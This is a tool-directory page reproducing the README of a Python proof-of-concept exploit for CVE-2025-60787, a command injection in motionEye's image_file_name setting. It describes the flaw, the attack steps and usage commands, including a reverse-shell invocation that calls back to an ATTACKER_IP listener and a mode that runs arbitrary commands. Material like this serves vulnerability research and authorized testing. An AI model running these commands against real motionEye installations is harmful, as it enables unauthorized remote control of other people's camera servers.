Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-60787-POC — Python PoC for CVE-2025-60787, authenticated OS command injection RCE in motionEye <= 0.43.1b4 via unsanitized image_file_name config | Kitploit
Tools/GitHubGitHub/d3vn0mi/cve-2025-60787-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed TeamingPayload Development
GitHubd3vn0mi/cve-2025-60787-poc

CVE-2025-60787-POC

Python PoC for CVE-2025-60787, authenticated OS command injection RCE in motionEye <= 0.43.1b4 via unsanitized image_file_name config

View Repository
258 months agoNot yet reviewed
Share

CVE-2025-60787 - motionEye Authenticated RCE

Authenticated Remote Code Execution in motionEye <= 0.43.1b4 via unsanitized motion config parameter

Author: d3vn0mi


Vulnerability Overview

FieldDetails
CVE IDCVE-2025-60787
CVSS Score7.2 (High)
TypeOS Command Injection (CWE-78)
AffectedmotionEye <= 0.43.1b4
Fixed in0.43.1b5

motionEye accepts arbitrary strings in configuration fields such as image_file_name and writes them directly into Motion configuration files (/etc/motioneye/camera-*.conf). When the Motion service restarts, it interprets these fields as shell-expandable strings, allowing an authenticated attacker to inject and execute arbitrary OS commands.

The web UI includes client-side validation for these fields, but this can be trivially bypassed by sending crafted API requests directly.

Attack Flow

  1. Authenticate to motionEye with valid admin credentials
  2. Fetch the camera configuration list
  3. POST a modified configuration with a malicious image_file_name value
  4. Motion processes the injected command when taking snapshots (via capture_mode: interval-snapshots)

Requirements

  • Python 3.6+
  • requests library
  • Valid motionEye admin credentials
  • Network access to the target motionEye instance

Installation

git clone https://github.com/d3vn0mi/CVE-2025-60787-POC.git
cd CVE-2025-60787-POC
pip install -r requirements.txt

Usage

The exploit supports two modes: reverse shell and command execution.

Reverse Shell

Start a listener on your machine, then run:

python3 exploit.py revshell \
    --url http://TARGET:8765 \
    --user admin \
    --password SECRET \
    -i ATTACKER_IP \
    --port 4444

Command Execution

python3 exploit.py command \
    --url http://TARGET:8765 \
    --user admin \
    --password SECRET \
    -e "id; whoami"

Options

FlagDescription
--urlTarget motionEye URL including port
--usermotionEye username
--passwordmotionEye password
-i / --hostListener IP (revshell mode)
--portListener port (revshell mode)
-e / --execCommand to execute (command mode)
--camera-idTarget a specific camera ID
--shUse /bin/sh instead of /bin/bash
--no-verifySkip TLS certificate verification
--proxyRoute traffic through a proxy (e.g. http://127.0.0.1:8080)

References

  • GitHub Advisory - GHSA-j945-qm58-4gjx
  • Exploit-DB #52481
  • Rapid7 Metasploit Module
  • motionEye Project

Credits

  • d3vn0mi - Exploit development and tooling
  • gunzf0x - Original CVE discovery and research

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse of this software. Always obtain proper authorization before testing.

License

This project is licensed under the MIT License.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    933
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    551
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    354
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    351
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    332
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →